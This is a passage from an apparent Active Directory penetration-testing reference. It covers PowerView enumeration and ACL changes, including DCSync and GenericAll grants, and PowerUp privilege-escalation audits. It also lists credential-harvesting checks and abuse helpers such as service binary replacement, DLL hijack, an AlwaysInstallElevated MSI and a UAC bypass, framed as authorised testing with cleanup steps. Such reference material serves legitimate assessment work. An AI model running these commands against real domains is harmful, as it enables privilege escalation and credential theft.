[Source](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-powershell-1.0/ff730967(v=technet.10)) 689 690 A match is a directory record, not a file recovered from a user's desktop. Deleted records can retain identifiers and recovery metadata. A visible deleted record is not proof that a complete recovery remains possible: the deletion lifecycle and Recycle Bin configuration matter. [Source](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/adac/active-directory-recycle-bin) [Source](https://learn.microsoft.com/en-us/training/modules/troubleshoot-active-directory/2-recover-objects-from-active-directory-recycle-bin) 691 692 #### Understand the recovery metadata 693 694 `Get-ADObject` returns a default property set. Additional attributes must be requested with `-Properties`; selecting a field for display does not fetch it from the server. For an administrative recovery review, distinguish the record's identity from its previous location. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adobject?view=windowsserver2025-ps) 695 696 | Field | Meaning | 697 |---|---| 698 | `ObjectGUID` | Unique object identifier; the GUID form of `-Identity` refers to this value | 699 | `DistinguishedName` | Current directory location, which changes when an object is deleted or restored | 700 | `isDeleted` | Whether the record is marked as deleted | 701 | `isRecycled` | Whether it has entered the recycled state; this is different from an intact recoverable deleted object | 702 | `lastKnownParent` | DN of the object's previous parent container or OU | 703 | `msDS-LastKnownRDN` | Original relative distinguished name, the object's name within its parent | 704 705 `lastKnownParent` and `msDS-LastKnownRDN` are the default destination and name inputs used by the restore cmdlet when no replacement is specified. Recycled objects have already lost many attributes, so the presence of a GUID alone does not establish full recoverability. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject?view=windowsserver2025-ps) [Source](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adls/22c77623-1d54-459a-b283-0c0587d651c9) [Source](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adls/6c02256f-ae04-4104-9296-6f48d9aeb692) [Source](https://learn.microsoft.com/en-us/training/modules/troubleshoot-active-directory/2-recover-objects-from-active-directory-recycle-bin) 706 707 #### Interpret the supplied restore command 708 709 The transcript contains `Restore-ADObject -Identity "c1f1f0fe-df9c-494c-bf05-0679e181b358"`. This requests restoration of the deleted directory object with that `ObjectGUID`. The GUID is an identifier, not a password, SID, or value generated for each attempt. `Restore-ADObject` changes directory state; it is not another search command. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject?view=windowsserver2025-ps) 710 711 The command does not name `cert_admin`. The link between that account and the restore request comes from the matching `ObjectGUID` in the later user output. The supplied excerpt does not show the deleted-object query's results, so it does not show how that GUID was originally selected. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject?view=windowsserver2025-ps) [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2025-ps) 712 713 No object output after `Restore-ADObject` is normal: the cmdlet returns no object by default. Its documented `-PassThru` option returns the restored object. Silence alone is not a substitute for checking errors and verifying the resulting record. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject?view=windowsserver2025-ps) 714 715 For an administrative recovery, establish the intended identity, recoverability, and destination before making a change. Restoring an account can restore security-relevant state and access. The Recycle Bin preserves attributes for objects deleted after it was enabled; enabling it later does not recover attributes from earlier deletions. Recovery windows depend on the directory configuration, so do not assume every deleted record can be restored indefinitely. [Source](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/adac/active-directory-recycle-bin) [Source](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/adac/advanced-ad-ds-management-using-active-directory-administrative-center--level-200-) 716 717 #### Read the user verification output 718 719 The final supplied command reads the current user record: 720 721 ```powershell 722 Get-ADUser -Identity cert_admin 723 ``` 724 725 Here, `cert_admin` is a `sAMAccountName` accepted by `-Identity`. This cmdlet also accepts a user object's distinguished name, GUID, or SID. It retrieves information; it does not enable the account, reset its password, authenticate as it, or grant permissions. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2025-ps) 726 727 | Supplied field | Interpretation | 728 |---|---| 729 | `DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb` | The returned user is currently under the `ADCS` OU in `tombwatcher.htb` | 730 | `ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358` | Matches the identifier in the supplied restore request | 731 | `SamAccountName : cert_admin` | The account name used by the lookup | 732 | `ObjectClass : user` | This record is a user object | 733 | `Enabled : True` | The returned account state is enabled; this is not a successful sign-in test | 734 | `SID : S-1-5-21-1392491010-1358638721-2126982587-1110` | The user's security identifier, distinct from its GUID | 735 | Blank `UserPrincipalName` | No UPN value is displayed; the `sAMAccountName` lookup still returned the user | 736 737 The matching GUID is the useful identity check in this transcript. The account name `cert_admin` and OU name `ADCS` alone do not establish certificate authority privileges or any other effective access. The default `Get-ADUser` output is a limited property set, not a permissions report. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2025-ps) 738 739 #### Avoid misleading conclusions 740 741 An empty deleted-object search means the query returned no visible matches in its scope. Check collection errors and the chosen server and search base before treating that as proof that nothing was deleted. `-IncludeDeletedObjects` neither expands the search to every domain nor bypasses directory access controls. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adobject?view=windowsserver2025-ps) 742 743 A restore and a later lookup are separate operations. A lookup by account name can identify a different object if that name was reused; compare the object GUID with the reviewed record. Review account state and intended access after recovery rather than assuming the original access is still appropriate. [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject?view=windowsserver2025-ps) [Source](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2025-ps) 744 745 --- 746 747 ## 7. PowerView — GPOs, OUs, Sites, and Policy 748 749 ### 7.1 OUs and linked GPOs 750 751 ```powershell 752 Get-DomainOU -Properties name,distinguishedname,gplink 753 Get-DomainOU -Identity 'Domain Controllers' -Properties name,gplink 754 755 Get-DomainGPO | Select-Object displayname,name,gpcfilesyspath 756 Get-DomainGPO -Identity 'Default Domain Policy' 757 Get-DomainGPO -ComputerIdentity ws01 758 Get-DomainGPO -UserIdentity alice 759 ``` 760 761 ### 7.2 Local-group effects from GPO 762 763 ```powershell 764 # Restricted Groups and Group Policy Preferences local groups 765 Get-DomainGPOLocalGroup 766 767 # Where is a user/group granted local Administrators or RDP membership? 768 Get-DomainGPOUserLocalGroupMapping -Identity 'CORP\Help Desk' -LocalGroup Administrators 769 Get-DomainGPOUserLocalGroupMapping -Identity alice -LocalGroup RDP 770 771 # Who becomes local admin/RDP user on one computer or OU? 772 Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity ws01 -LocalGroup Administrators 773 Get-DomainGPOComputerLocalGroupMapping -OUIdentity 'OU=Workstations,DC=corp,DC=local' -LocalGroup RDP 774 ``` 775 776 ### 7.3 Domain policy 777 778 ```powershell 779 Get-DomainPolicyData 780 Get-DomainPolicyData | Select-Object -ExpandProperty SystemAccess 781 Get-DomainPolicyData -Policy DC 782 783 # Common fields to review 784 $Policy = Get-DomainPolicyData 785 $Policy.SystemAccess | Format-List MinimumPasswordAge,MaximumPasswordAge,MinimumPasswordLength,PasswordComplexity,LockoutBadCount,ResetLockoutCount,LockoutDuration 786 ``` 787 788 ### 7.4 GPO file helpers 789 790 ```powershell 791 $Gpo = Get-DomainGPO -Identity 'Default Domain Policy' 792 Get-GptTmpl -GptTmplPath "$($Gpo.gpcfilesyspath)\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" 793 ``` 794 795 --- 796 797 ## 8. PowerView — Sessions, Shares, Processes, and Local Admin 798 799 ### 8.1 One-host enumeration 800 801 ```powershell 802 Get-NetShare -ComputerName ws01 803 Get-NetSession -ComputerName fs01 804 Get-NetLoggedon -ComputerName ws01 805 Get-RegLoggedOn -ComputerName ws01 806 Get-NetRDPSession -ComputerName ws01 807 Get-NetLocalGroup -ComputerName ws01 808 Get-NetLocalGroupMember -ComputerName ws01 -GroupName Administrators 809 Get-WMIProcess -ComputerName ws01 810 Test-AdminAccess -ComputerName ws01 811 ``` 812 813 What the session functions actually observe: 814 815 | Function | Source | Typical limitation | 816 |---|---|---| 817 | `Get-NetSession` | NetSessionEnum | Modern Windows often restricts session enumeration | 818 | `Get-NetLoggedon` | NetWkstaUserEnum | Usually requires elevated/remote access | 819 | `Get-RegLoggedOn` | Remote registry HKEY_USERS | Remote Registry/firewall/rights must permit it | 820 | `Get-NetRDPSession` | WTS APIs | Rights and firewall affect remote results | 821 | `Get-WMIProcess` | WMI | RPC/WMI access and firewall required | 822 823 ### 8.2 Domain-wide discovery 824 825 ```powershell 826 # Find accessible shares; check actual read access 827 Find-DomainShare -CheckShareAccess -Threads 20 828 829 # Search readable shares for default interesting filenames 830 Find-InterestingDomainShareFile -Threads 20 831 832 # Narrow file search 833 Find-InterestingDomainShareFile -Include '*.kdbx','*password*','unattend*.xml' -Threads 10 834 835 # Find machines where current identity is local admin 836 Find-LocalAdminAccess -Threads 20 837 838 # Enumerate local Administrators members across domain systems 839 Find-DomainLocalGroupMember -GroupName Administrators -Threads 20 840 841 # Find where a named user is logged on 842 Find-DomainUserLocation -UserIdentity alice -Threads 10 843 844 # Search for interesting processes 845 Find-DomainProcess -ProcessName 'keepass','mstsc' -Threads 10 846 ``` 847 848 > [!warning] Fan-out noise 849 > Hunter functions contact many endpoints. `-Threads` changes speed, not authorisation or detectability. Start with a supplied `-ComputerName` list or restrictive computer LDAP filter, then expand only when justified. 850 851 ### 8.3 File servers, DFS, and targeted file searches 852 853 ```powershell 854 Get-DomainFileServer 855 Get-DomainDFSShare 856 857 Find-InterestingFile -Path '\\fs01\Finance' -Include '*.kdbx','*.config','*password*' 858 Find-InterestingFile -Path 'C:\Users' -OfficeDocs -LastAccessTime (Get-Date).AddDays(-30) 859 ``` 860 861 ### 8.4 Remote registry artefacts 862 863 ```powershell 864 Get-WMIRegProxy -ComputerName ws01 865 Get-WMIRegLastLoggedOn -ComputerName ws01 866 Get-WMIRegCachedRDPConnection -ComputerName ws01 867 Get-WMIRegMountedDrive -ComputerName ws01 868 ``` 869 870 --- 871 872 ## 9. PowerView — Alternate Credentials and Impersonation 873 874 ### 9.1 PSCredential for LDAP/WMI-aware functions 875 876 ```powershell 877 $Cred = Get-Credential 'CORP\auditor' 878 Get-DomainUser -Domain corp.local -Server dc01.corp.local -Credential $Cred 879 Get-DomainComputer -Domain corp.local -Credential $Cred 880 Get-DomainObjectAcl -Identity alice -ResolveGUIDs -Credential $Cred 881 ``` 882 883 ### 9.2 Network-logon impersonation 884 885 ```powershell 886 $Cred = Get-Credential 'CORP\auditor' 887 $Token = Invoke-UserImpersonation -Credential $Cred 888 889 try { 890 Get-DomainUser -Identity alice 891 Get-NetShare -ComputerName fs01 892 } 893 finally { 894 Invoke-RevertToSelf 895 if ($Token) { $Token.Dispose() } 896 } 897 ``` 898 899 ### 9.3 Explicit remote share connection 900 901 ```powershell 902 $Cred = Get-Credential 'CORP\auditor' 903 Add-RemoteConnection -ComputerName fs01.corp.local -Credential $Cred 904 Get-ChildItem '\\fs01.corp.local\Finance' 905 Remove-RemoteConnection -ComputerName fs01.corp.local 906 ``` 907 908 > [!important] Credential boundaries 909 > `PSCredential` means username/password authentication through APIs that accept it. It does not inject an NTLM hash or Kerberos ticket. Also avoid opening two SMB connections to the same server under different usernames in one logon session; Windows can return error 1219. 910 911 --- 912 913 ## 10. PowerView — Authorised Object Changes and Cleanup 914 915 ### 10.1 Rules before any write 916 917 ```powershell 918 # Record current object and ACL state 919 Get-DomainObject -Identity $Target | 920 Export-Clixml "$Out\$Target-before.xml" 921 Get-DomainObjectAcl -Identity $Target -ResolveGUIDs | 922 Export-Csv "$Out\$Target-acl-before.csv" -NoTypeInformation 923 ``` 924 925 Use a change ticket/test identifier in your notes. Do not assume the inverse command reconstructs inherited ACE ordering, protected DACL state, or an overwritten attribute's prior value. 926 927 ### 10.2 Create and remove a test user/group 928 929 ```powershell 930 $TempPass = Read-Host 'Temporary password' -AsSecureString 931 New-DomainUser -SamAccountName pv-audit-user -AccountPassword $TempPass 932 New-DomainGroup -SamAccountName pv-audit-group 933 934 # PowerView has creation helpers but no matching remove-object helper in this build. 935 # Remove with approved AD administration tooling after validation. 936 ``` 937 938 ### 10.3 Password reset with delegated rights 939 940 ```powershell 941 $NewPass = Read-Host 'New password' -AsSecureString 942 Set-DomainUserPassword -Identity alice -AccountPassword $NewPass 943 ``` 944 945 Password resets are disruptive: they can invalidate saved credentials, DPAPI access, services, scheduled tasks, and user sessions. Do not “restore” an unknown original password. 946 947 ### 10.4 Group membership with paired cleanup 948 949 ```powershell 950 # Verify before 951 Get-DomainGroupMember -Identity 'Help Desk' | Where-Object MemberName -eq 'pv-audit-user' 952 953 # Change 954 Add-DomainGroupMember -Identity 'Help Desk' -Members 'pv-audit-user' 955 956 # Verify and clean up 957 Get-DomainGroupMember -Identity 'Help Desk' | Where-Object MemberName -eq 'pv-audit-user' 958 Remove-DomainGroupMember -Identity 'Help Desk' -Members 'pv-audit-user' 959 ``` 960 961 ### 10.5 Attribute modification 962 963 ```powershell 964 # Capture original value 965 $Before = Get-DomainObject -Identity alice -Properties description 966 $Before | Export-Clixml "$Out\alice-description-before.xml" 967 968 # Replace, append, or clear 969 Set-DomainObject -Identity alice -Set @{description='Authorised validation CHG-1234'} 970 Set-DomainObject -Identity alice -XOR @{useraccountcontrol=65536} 971 Set-DomainObject -Identity alice -Clear description 972 973 # Restore exact original value when known 974 if ($null -ne $Before.description) { 975 Set-DomainObject -Identity alice -Set @{description=$Before.description} 976 } else { 977 Set-DomainObject -Identity alice -Clear description 978 } 979 ``` 980 981 This bundled build supports `-Set`, `-Clear`, and `-XOR`: `-Set` replaces the property value, `-Clear` removes it, and `-XOR` toggles specified bit flags. It does **not** expose the `-Add`/`-Remove` switches found in some other AD cmdlets or PowerView forks. For a multi-valued attribute, capture the full original array and use approved AD administration tooling when a precise single-value add/remove is required. 982 983 ### 10.6 Ownership change and restoration 984 985 ```powershell 986 $TargetDN = (Get-DomainObject -Identity 'Help Desk').distinguishedname 987 $OriginalOwner = (Get-Acl "AD:$TargetDN").Owner 988 989 Set-DomainObjectOwner -Identity 'Help Desk' -OwnerIdentity 'CORP\pv-audit-user' 990 991 # Perform only the authorised validation, then restore owner 992 Set-DomainObjectOwner -Identity 'Help Desk' -OwnerIdentity $OriginalOwner 993 ``` 994 995 If the `AD:` PSDrive is unavailable, record the owner from `Get-DomainObjectAcl`/an approved AD ACL tool before changing it. 996 997 ### 10.7 Add and remove a test ACE 998 999 ```powershell 1000 # Add narrowly scoped group-member write right 1001 Add-DomainObjectAcl ` 1002 -TargetIdentity 'Help Desk' ` 1003 -PrincipalIdentity 'pv-audit-user' ` 1004 -Rights WriteMembers 1005 1006 # Validate 1007 Get-DomainObjectAcl -Identity 'Help Desk' -ResolveGUIDs -RightsFilter WriteMembers | 1008 Where-Object { (ConvertFrom-SID $_.SecurityIdentifier) -like '*pv-audit-user' } 1009 1010 # Remove the same ACE 1011 Remove-DomainObjectAcl ` 1012 -TargetIdentity 'Help Desk' ` 1013 -PrincipalIdentity 'pv-audit-user' ` 1014 -Rights WriteMembers 1015 ``` 1016 1017 ### 10.8 DCSync-right validation and cleanup 1018 1019 ```powershell 1020 $DomainDN = (Get-Domain).distinguishedname 1021 1022 Add-DomainObjectAcl ` 1023 -TargetIdentity $DomainDN ` 1024 -PrincipalIdentity 'pv-audit-user' ` 1025 -Rights DCSync 1026 1027 # Verify ACEs only; extracting secrets is a separate, higher-impact action 1028 Get-DomainObjectAcl -Identity $DomainDN -ResolveGUIDs | 1029 Where-Object { (ConvertFrom-SID $_.SecurityIdentifier) -like '*pv-audit-user' } 1030 1031 Remove-DomainObjectAcl ` 1032 -TargetIdentity $DomainDN ` 1033 -PrincipalIdentity 'pv-audit-user' ` 1034 -Rights DCSync 1035 ``` 1036 1037 ### 10.9 GenericAll test ACE 1038 1039 ```powershell 1040 Add-DomainObjectAcl -TargetIdentity alice -PrincipalIdentity pv-audit-user -Rights All 1041 1042 # Cleanup must use the identical target, principal, and right 1043 Remove-DomainObjectAcl -TargetIdentity alice -PrincipalIdentity pv-audit-user -Rights All 1044 ``` 1045 1046 > [!danger] `-Rights All` is broad 1047 > Prefer `ResetPassword`, `WriteMembers`, a specific `-RightsGUID`, or another narrow test whenever the assessment objective allows it. 1048 1049 --- 1050 1051 ## 11. PowerView — Output, Filtering, and Export 1052 1053 ### 11.1 Shape output early 1054 1055 ```powershell 1056 Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset | 1057 Sort-Object pwdlastset | 1058 Format-Table -AutoSize 1059 1060 Get-DomainComputer -OperatingSystem '*Server*' -Properties dnshostname,operatingsystem,lastlogondate | 1061 Select-Object dnshostname,operatingsystem,lastlogondate | 1062 Export-Csv "$Out\servers.csv" -NoTypeInformation 1063 ``` 1064 1065 ### 11.2 Preserve nested values 1066 1067 CSV flattens arrays. Join them explicitly or use CLIXML/JSON: 1068 1069 ```powershell 1070 Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname | 1071 Select-Object samaccountname,@{n='SPNs';e={$_.serviceprincipalname -join ';'}} | 1072 Export-Csv "$Out\spn-users.csv" -NoTypeInformation 1073 1074 Get-DomainUser -Identity alice | 1075 Export-Clixml "$Out\alice.xml" 1076 1077 Get-DomainUser -Identity alice -Properties samaccountname,memberof | 1078 ConvertTo-Json -Depth 5 | 1079 Set-Content "$Out\alice.json" 1080 ``` 1081 1082 ### 11.3 Bundled CSV helper 1083 1084 ```powershell 1085 Get-DomainComputer -OperatingSystem '*Server*' | 1086 Export-PowerViewCSV -Path "$Out\servers-powerview.csv" 1087 ``` 1088 1089 ### 11.4 Measure before fan-out 1090 1091 ```powershell 1092 $Servers = Get-DomainComputer -OperatingSystem '*Server*' -Properties dnshostname | 1093 Select-Object -ExpandProperty dnshostname 1094 $Servers.Count 1095 $Servers | Select-Object -First 10 1096 ``` 1097 1098 --- 1099 1100 ## 12. PowerUp — Audit and Triage 1101 1102 ### 12.1 Full audit formats 1103 1104 ```powershell 1105 # Structured objects: best for filtering/export 1106 $Findings = Invoke-PrivescAudit -Format Object 1107 $Findings | Format-List * 1108 1109 # Human-readable console output 1110 Invoke-PrivescAudit -Format List 1111 1112 # HTML file: COMPUTER.USER.html in current directory 1113 Invoke-PrivescAudit -Format HTML 1114 1115 # Legacy alias 1116 Invoke-AllChecks 1117 ``` 1118 1119 ### 12.2 What the full audit checks 1120 1121 | Category | PowerUp function / test | 1122 |---|---| 1123 | Current local admin | WindowsPrincipal and token group checks | 1124 | Interesting token privileges | `Get-ProcessTokenPrivilege -Special` | 1125 | Unquoted services | `Get-UnquotedService` | 1126 | Writable service files | `Get-ModifiableServiceFile` | 1127 | Modifiable service configuration | `Get-ModifiableService` | 1128 | Writable `%PATH%` directories | `Find-PathDLLHijack` | 1129 | AlwaysInstallElevated | `Get-RegistryAlwaysInstallElevated` | 1130 | Registry autologon | `Get-RegistryAutoLogon` | 1131 | Writable elevated autoruns | `Get-ModifiableRegistryAutoRun` | 1132 | Writable scheduled-task files | `Get-ModifiableScheduledTaskFile` | 1133 | Unattended install files | `Get-UnattendedInstallFile` | 1134 | IIS connection strings | `Get-WebConfig` | 1135 | IIS app-pool/vdir credentials | `Get-ApplicationHost` | 1136 | McAfee SiteList credentials | `Get-SiteListPassword` | 1137 | Cached GPP passwords | `Get-CachedGPPPassword` | 1138 1139 ### 12.3 Filter and prioritise 1140 1141 ```powershell 1142 $Findings = Invoke-PrivescAudit -Format Object 1143 1144 $Findings | 1145 Select-Object Check,ServiceName,Path,ModifiablePath,IdentityReference,AbuseFunction | 1146 Format-Table -Wrap 1147 1148 $Findings | Where-Object Check -Match 'Service|AlwaysInstall|AutoLogon' 1149 $Findings | Export-Clixml C:\Temp\assessment\powerup-findings.xml 1150 ``` 1151 1152 Prioritise findings that are both controllable **and** triggerable: 1153 1154 | Question | Why it matters | 1155 |---|---| 1156 | Does the target execute as `LocalSystem` or another privileged identity? | A writable binary run as the current user gives no elevation | 1157 | Can the current identity restart/trigger it? | Otherwise exploitation may depend on reboot/admin/operator action | 1158 | Is the path actually writable, not merely a parent candidate? | Prevents false positives from path parsing | 1159 | Is the binary architecture compatible? | Relevant for generated service/DLL helpers | 1160 | Will endpoint protection block or quarantine the artefact? | Avoids disruption and explains failed validation | 1161 | Is the finding already mitigated by quoting, ACL inheritance, or service hardening? | Confirms the true control boundary | 1162 1163 ### 12.4 Token context 1164 1165 ```powershell 1166 Get-ProcessTokenGroup 1167 Get-ProcessTokenPrivilege 1168 Get-ProcessTokenPrivilege -Special 1169 Get-ProcessTokenType 1170 1171 # Inspect another process where access is permitted 1172 Get-ProcessTokenPrivilege -Id 1234 1173 1174 # Enabling a privilege does not grant a privilege absent from the token 1175 Enable-Privilege SeDebugPrivilege 1176 ``` 1177 1178 --- 1179 1180 ## 13. PowerUp — Service Misconfigurations 1181 1182 ### 13.1 Enumerate service issues separately 1183 1184 ```powershell 1185 Get-UnquotedService | Format-List * 1186 Get-ModifiableServiceFile | Format-List * 1187 Get-ModifiableService | Format-List * 1188 ``` 1189 1190 ### 13.2 Inspect one service deeply 1191 1192 ```powershell 1193 Get-ServiceDetail -Name VulnSvc | Format-List * 1194 Get-Service VulnSvc | Get-ServiceDetail 1195 Get-Service VulnSvc | Add-ServiceDacl | Format-List Name,Dacl 1196 1197 Test-ServiceDaclPermission -Name VulnSvc -PermissionSet ChangeConfig 1198 Test-ServiceDaclPermission -Name VulnSvc -PermissionSet Restart 1199 ``` 1200 1201 Common permission sets accepted by `Test-ServiceDaclPermission` include: 1202 1203 | Set | Meaning | 1204 |---|---| 1205 | `ChangeConfig` | Can change service configuration/binPath | 1206 | `Restart` | Can stop and start the service | 1207 | `Start` / `Stop` | Can perform the respective control operation | 1208 | `WriteDac` | Can modify service DACL | 1209 | `WriteOwner` | Can take/assign service ownership | 1210 | `AllAccess` | Broad service access | 1211 1212 ### 13.3 Unquoted service paths 1213 1214 ```powershell 1215 $U = Get-UnquotedService 1216 $U | Select-Object ServiceName,Path,ModifiablePath,StartName,CanRestart,AbuseFunction 1217 ``` 1218 1219 For a service path such as: 1220 1221 ```text 1222 C:\Program Files\Acme Tools\Updater Service.exe 1223 ``` 1224 1225 Windows may test executable candidates at space boundaries when the service path is unquoted. PowerUp reports only candidates whose path is modifiable. Validate with: 1226 1227 ```powershell 1228 Get-Acl 'C:\Program Files' | Format-List 1229 Get-Acl 'C:\Program Files\Acme Tools' | Format-List 1230 Get-ServiceDetail -Name AcmeUpdater 1231 ``` 1232 1233 ### 13.4 Writable service binary or arguments 1234 1235 ```powershell 1236 Get-ModifiableServiceFile | 1237 Select-Object ServiceName,Path,ModifiableFile,ModifiableFilePermissions,StartName,CanRestart 1238 ``` 1239 1240 Distinguish these cases: 1241 1242 - Writable service executable: direct integrity issue, but replacement is disruptive. 1243 - Writable configuration/argument file: impact depends on how the service consumes it. 1244 - Writable parent directory: may allow replacement after deletion/rename depending on file ACLs. 1245 - `CanRestart = False`: the issue can still trigger on boot or an operator restart, but immediate proof is riskier. 1246 1247 ### 13.5 Modifiable service configuration 1248 1249 ```powershell 1250 Get-ModifiableService | 1251 Select-Object ServiceName,Path,StartName,CanRestart,AbuseFunction 1252 ``` 1253 1254 Record the original configuration before any approved change: 1255 1256 ```powershell 1257 $SvcBefore = Get-ServiceDetail -Name VulnSvc 1258 $SvcBefore | Export-Clixml C:\Temp\assessment\VulnSvc-before.xml 1259 sc.exe qc VulnSvc 1260 ``` 1261 1262 --- 1263 1264 ## 14. PowerUp — DLL, PATH, Autorun, and Task Findings 1265 1266 ### 14.1 Writable PATH directories 1267 1268 ```powershell 1269 Find-PathDLLHijack | Format-List * 1270 ``` 1271 1272 A writable `%PATH%` directory is a **candidate**, not proof. A privileged process must search that directory for a missing DLL before a protected location. Confirm with Process Monitor or application-specific evidence in a controlled test. 1273 1274 ### 14.2 Process-specific DLL candidates 1275 1276 ```powershell 1277 Find-ProcessDLLHijack 1278 Find-ProcessDLLHijack -Name AcmeAgent 1279 Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles 1280 Find-ProcessDLLHijack -ExcludeOwned 1281 ``` 1282 1283 Validate: 1284 1285 1. The process runs in a more privileged context. 1286 2. The DLL is genuinely missing at that search step. 1287 3. The current identity can write the candidate location. 1288 4. The process can be triggered safely. 1289 5. Architecture and DLL exports/initialisation behaviour are compatible. 1290 1291 ### 14.3 Registry autoruns 1292 1293 ```powershell 1294 Get-ModifiableRegistryAutoRun | Format-List * 1295 ``` 1296 1297 Check both the registry value ACL and the referenced file/directory ACL. An autorun is an escalation only when a more privileged identity executes it. 1298 1299 ### 14.4 Scheduled-task files 1300 1301 ```powershell 1302 Get-ModifiableScheduledTaskFile | Format-List * 1303 ``` 1304 1305 Cross-check the actual task identity and trigger: 1306 1307 ```powershell 1308 schtasks.exe /query /fo LIST /v 1309 Get-ScheduledTask | Select-Object TaskName,TaskPath,State 1310 ``` 1311 1312 PowerUp's bundled check focuses on writable files referenced by task XML, not every possible task ACL or COM-handler issue. 1313 1314 --- 1315 1316 ## 15. PowerUp — Credential and Installer Findings 1317 1318 ### 15.1 Registry autologon 1319 1320 ```powershell 1321 Get-RegistryAutoLogon | Format-List * 1322 ``` 1323 1324 Review and handle the output as credentials. Do not put it in transcripts, screenshots, shared tickets, or shell history unless the assessment rules explicitly permit it. 1325 1326 ### 15.2 Unattended installation files 1327 1328 ```powershell 1329 Get-UnattendedInstallFile 1330 ``` 1331 1332 This build checks common `sysprep` and `Windows\Panther` locations. It returns candidate file paths; inspect only within scope and distinguish live secrets from redacted, encoded, or stale values. 1333 1334 ### 15.3 IIS configuration 1335 1336 ```powershell 1337 Get-WebConfig | Format-Table -AutoSize 1338 Get-ApplicationHost | Format-Table -AutoSize 1339 ``` 1340 1341 | Function | Target | 1342 |---|---| 1343 | `Get-WebConfig` | Cleartext or locally decryptable connection strings in IIS application `web.config` files | 1344 | `Get-ApplicationHost` | IIS app-pool and virtual-directory identities/passwords exposed through `applicationHost.config`/appcmd | 1345 1346 ### 15.4 Group Policy Preferences 1347 1348 ```powershell 1349 Get-CachedGPPPassword | Format-List * 1350 ``` 1351 1352 GPP `cpassword` storage has long been patched for creation through normal tooling, but old XML files can persist in SYSVOL, local caches, backups, or copied policy data. 1353 1354 ### 15.5 McAfee SiteList 1355 1356 ```powershell 1357 Get-SiteListPassword 1358 Get-SiteListPassword -Path 'C:\ProgramData\McAfee\Common Framework\SiteList.xml' 1359 ``` 1360 1361 ### 15.6 AlwaysInstallElevated 1362 1363 ```powershell 1364 Get-RegistryAlwaysInstallElevated 1365 1366 # Verify both policy locations manually 1367 Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue 1368 Get-ItemProperty 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue 1369 ``` 1370 1371 Both machine and current-user policy values must be enabled for the classic issue. 1372 1373 --- 1374 1375 ## 16. PowerUp — Validation, Abuse Helpers, and Restoration 1376 1377 > [!danger] High-impact section 1378 > The helpers below execute commands through privileged service, DLL, MSI, or UAC paths. Use only when proof of impact is explicitly required. Prefer a benign proof command that writes a uniquely named marker file over creating users, launching shells, or changing security controls. 1379 1380 ### 16.1 Benign proof command 1381 1382 ```powershell 1383 $Proof = 'cmd.exe /c whoami /all > C:\Windows\Temp\CHG-1234-whoami.txt' 1384 ``` 1385 1386 The result itself may contain sensitive group/privilege data. Remove it after collection. 1387 1388 ### 16.2 Modifiable service configuration 1389 1390 ```powershell 1391 # Record first 1392 $Before = Get-ServiceDetail -Name VulnSvc 1393 $Before | Export-Clixml C:\Temp\assessment\VulnSvc-before.xml 1394 1395 # Approved proof 1396 Invoke-ServiceAbuse -Name VulnSvc -Command $Proof 1397 1398 # Inspect service state/config after execution 1399 Get-ServiceDetail -Name VulnSvc | Format-List * 1400 sc.exe qc VulnSvc 1401 ``` 1402 1403 `Invoke-ServiceAbuse` attempts to restore service configuration, but always verify against the recorded baseline. A crash, timeout, AV action, or insufficient restart rights can interrupt automated cleanup. 1404 1405 ### 16.3 Service binary replacement 1406 1407 ```powershell 1408 # Creates a backup and replaces the service binary 1409 Install-ServiceBinary -Name VulnSvc -Command $Proof 1410 1411 # Restore using the backup path reported/created during the operation 1412 Restore-ServiceBinary -Name VulnSvc -BackupPath 'C:\Path\To\service.exe.bak' 1413 ``` 1414 1415 Do not guess the backup filename. Capture the helper output and confirm the original file's hash, owner, DACL, timestamps, and service health after restoration. 1416 1417 ### 16.4 Unquoted-path service proof 1418 1419 ```powershell 1420 # Use the exact candidate reported by Get-UnquotedService 1421 Write-ServiceBinary -Name VulnSvc -Path 'C:\Program.exe' -Command $Proof 1422 ``` 1423 1424 Cleanup requires removing only the created proof binary after the service has completed and confirming the legitimate service starts normally. 1425 1426 ### 16.5 DLL proof helper 1427 1428 ```powershell 1429 Write-HijackDll ` 1430 -DllPath 'C:\ApprovedWritablePath\wlbsctrl.dll' ` 1431 -Architecture x64 ` 1432 -Command $Proof 1433 ``` 1434 1435 Remove the generated DLL and its batch artefact after proof, then restart/retest the affected application only if the rules of engagement permit it. 1436 1437 ### 16.6 AlwaysInstallElevated helper 1438 1439 ```powershell 1440 Write-UserAddMSI -Path C:\Temp\assessment\UserAdd.msi 1441 ``` 1442 1443 The bundled helper creates an interactive user/group-add MSI and is more disruptive than a marker-file proof. Treat it as a lab-only fallback; record and remove any account/group membership it creates, then delete the MSI. 1444 1445 ### 16.7 UAC Event Viewer helper 1446 1447 ```powershell 1448 Invoke-EventVwrBypass -Command $Proof 1449 ``` 1450 1451 